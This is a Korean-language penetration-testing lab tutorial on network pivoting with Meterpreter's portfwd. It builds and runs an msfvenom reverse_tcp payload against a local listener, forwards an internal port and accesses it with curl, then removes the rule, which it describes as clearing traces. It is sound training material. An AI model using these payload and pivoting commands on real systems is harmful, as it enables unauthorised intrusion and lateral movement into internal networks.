Meterpreter 의 portfwd 를 사용한 네트워크 피벗 수행

Kali LinuxBeginner
지금 연습하기

소개

이 랩에서는 침투 테스팅의 기본 기술인 네트워크 피벗팅 (network pivoting) 에 대해 배우게 됩니다. 피벗팅은 침해된 시스템을 사용하여 자신의 컴퓨터에서 직접 접근할 수 없는 내부 네트워크의 다른 시스템에 접근하는 과정입니다.

이를 위해 강력한 후속 공격 페이로드 (post-exploitation payload) 인 Metasploit 의 Meterpreter 와 portfwd 명령어를 사용할 것입니다. 침해된 호스트를 통해 트래픽을 터널링하기 위한 포트 포워딩 (port forwarding) 을 설정하는 방법을 배우고, 마치 직접 연결된 것처럼 해당 호스트의 로컬 네트워크에 있는 서비스와 상호 작용할 수 있게 됩니다.

대상의 내부 네트워크 서비스 식별

이 단계에서는 대상 시스템에서 Meterpreter 세션을 획득하는 것을 시뮬레이션합니다. 실제 시나리오에서는 취약점을 악용하여 이를 달성할 것입니다. 이 랩에서는 Metasploit 에서 리스너를 설정하고 페이로드를 수동으로 실행하여 연결할 것입니다. 이를 통해 후속 공격 단계에 집중할 수 있습니다.

먼저 Metasploit Framework 를 설치해야 합니다.

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
sudo ./msfinstall

다음으로, 터미널을 열고 Metasploit 콘솔을 시작합니다.

msfconsole -q

msfconsole 내에서 수신 연결을 수신 대기할 핸들러를 설정합니다.

use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit -j

이제 새 터미널을 엽니다 (터미널 탭의 "+" 버튼을 사용할 수 있습니다). 이 새 터미널에서 리스너에 다시 연결할 페이로드를 생성하고 실행합니다.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o shell.elf
chmod +x shell.elf
./shell.elf

msfconsole이 있는 첫 번째 터미널로 다시 전환합니다. 새 세션이 열렸음을 나타내는 메시지가 표시되어야 합니다. 해당 세션과 상호 작용해 봅시다.

sessions -l
sessions -i 1

이제 Meterpreter 세션에 접속했습니다. 일반적인 첫 번째 단계는 정찰 (reconnaissance) 을 수행하는 것입니다. "침해된" 호스트의 네트워크 인터페이스를 확인해 봅시다.

ifconfig

여러 네트워크 인터페이스가 표시됩니다. 이 랩에서는 추가 스캔 (이 랩의 범위를 벗어남) 을 통해 127.0.0.1의 포트 8080에서 실행 중인 웹 서비스를 발견했다고 가정합니다. 우리의 목표는 이 서비스에 접근하는 것입니다.

Meterpreter 의 portfwd add 명령어 사용

이 단계에서는 Meterpreter 에서 포트 포워딩의 핵심 도구인 portfwd 명령어에 대해 알아보겠습니다.

portfwd 명령어는 터널을 생성하여 로컬 (공격자) 머신의 포트에서 발생하는 트래픽을 침해된 호스트에서 접근 가능한 특정 IP 및 포트로 리디렉션할 수 있게 해줍니다. 이것이 바로 피벗팅의 핵심입니다.

이 명령어에는 여러 옵션이 있지만, 여기서는 add, list, delete (또는 rm) 에 집중할 것입니다.

새로운 포트 포워딩 규칙을 추가하는 구문은 다음과 같습니다.

portfwd add -l <local_port> -p <remote_port> -r <remote_host>

add 작업에 대한 매개변수를 자세히 살펴보겠습니다.

  • -l <local_port>: 로컬 머신 (공격자 머신) 에서 수신 연결을 수신 대기할 포트입니다. 원격 서비스에 접근하기 위해 이 포트에 연결하게 됩니다.
  • -p <remote_port>: 접근하려는 대상 네트워크의 대상 포트입니다. 이 경우 8080입니다.
  • -r <remote_host>: 대상 네트워크의 대상 IP 주소입니다. 이 호스트는 침해된 머신에서 도달 가능해야 합니다. 이 경우 127.0.0.1입니다.

다음 단계에서는 이 명령어를 사용하여 식별한 웹 서비스에 대한 포워딩 규칙을 생성할 것입니다.

침해된 호스트의 포트를 Kali 머신으로 포워딩하기

이제 portfwd add 명령어에 대해 이해했으므로, 이를 사용하여 내부 웹 서비스를 로컬 머신으로 포워딩해 보겠습니다.

우리의 목표는 자체 머신의 포트에 연결하여 127.0.0.1:8080(침해된 호스트의 관점에서) 에서 실행 중인 서비스에 접근하는 것입니다. 이를 위해 로컬 포트 8888을 사용하겠습니다.

Meterpreter 세션에서 다음 명령어를 실행합니다.

portfwd add -l 8888 -p 8080 -r 127.0.0.1

이 명령어는 Meterpreter 에게 로컬 포트 8888에서 수신 대기하고 대상 시스템의 127.0.0.1:8080으로 연결되는 모든 연결을 포워딩하도록 지시합니다. 확인 메시지가 표시될 것입니다.

[*] Local TCP relay created: 127.0.0.1:8888 -> 127.0.0.1:8080

이제 포워딩이 활성화되었습니다. 머신의 localhost:8888으로 전송되는 모든 트래픽은 Meterpreter 세션을 통해 대상의 포트 8080으로 터널링됩니다.

새 로컬 포트를 통해 내부 서비스에 접근하기

포트 포워딩이 설정되었으므로, 마치 자체 머신에서 실행되는 것처럼 내부 웹 서비스에 접근할 수 있습니다.

자체 머신에서 새 터미널을 엽니다 (msfconsole 터미널을 닫지 마세요).

curl과 같은 명령줄 도구를 사용하여 설정한 로컬 포트 (8888) 로 요청을 보냅니다. 이 요청은 자체 머신으로 전송됩니다.

curl http://127.0.0.1:8888

요청은 curl 클라이언트에서 로컬 포트 8888로 이동하여 Meterpreter 세션을 통해 침해된 호스트로 전달된 다음, 최종적으로 127.0.0.1:8080의 웹 서비스로 전달됩니다. 결과적으로 내부 웹 페이지의 HTML 콘텐츠를 볼 수 있어야 합니다.

<html>
  <body>
    <h1>Internal Service Accessed!</h1>
  </body>
</html>

성공입니다! 대상 네트워크로 성공적으로 피벗 (pivot) 하여 직접 접근할 수 없었던 서비스에 접근했습니다.

포트 포워딩 규칙 나열 및 제거

피벗 (pivot) 사용을 마친 후에는 흔적을 제거하고 리소스를 확보하기 위해 포트 포워딩 규칙을 정리하는 것이 좋습니다.

먼저 활성 포트 포워딩 규칙을 모두 나열해 보겠습니다. Meterpreter 세션으로 돌아가서 portfwd list 명령을 사용합니다.

portfwd list

활성 포워드의 목록이 포함된 테이블이 표시되며, 여기에는 인덱스 번호, 유형 및 연결 세부 정보가 포함됩니다.

Active Port Forwards
====================

Index  Type    Local Host  Local Port  Remote Host  Remote Port
-----  ----    ----------  ----------  -----------  -----------
1      forward 127.0.0.1   8888        127.0.0.1    8080

규칙을 제거하려면 portfwd delete 또는 portfwd rm을 사용할 수 있습니다. 목록에서 해당 규칙의 인덱스 번호를 제공해야 합니다. 이 경우 인덱스는 1입니다.

규칙을 제거하려면 다음 명령을 실행합니다.

portfwd delete -i 1

TCP 릴레이가 중지되었음을 확인하는 메시지가 표시되어야 합니다.

[*] Stopping TCP relay on 127.0.0.1:8888...
[*] TCP relay stopped

규칙이 제거되었는지 확인하기 위해 portfwd list를 다시 실행할 수 있습니다. 이제 목록이 비어 있어야 합니다. 이렇게 하면 터널이 닫히고 자체 머신이 더 이상 포트 8888에서 수신 대기하지 않게 됩니다.

요약

이 랩에서는 Meterpreter 의 portfwd 유틸리티를 사용하여 네트워크 피벗 (pivoting) 의 기본 사항을 배웠습니다.

Meterpreter 세션을 획득하는 것을 성공적으로 시뮬레이션하고, 가상의 내부 서비스를 식별했으며, 로컬 머신에서 대상의 내부 네트워크로 트래픽을 터널링하기 위한 포트 포워딩 규칙을 생성했습니다. 그런 다음 터널을 통해 이 내부 서비스에 액세스하고, 세션을 정리하기 위해 포워딩 규칙을 나열하고 제거하는 방법을 배웠습니다.

이 기술은 침투 테스트의 기본적인 기술로, 단일 침해된 호스트에서 전체 내부 네트워크로 액세스를 확장할 수 있게 해줍니다.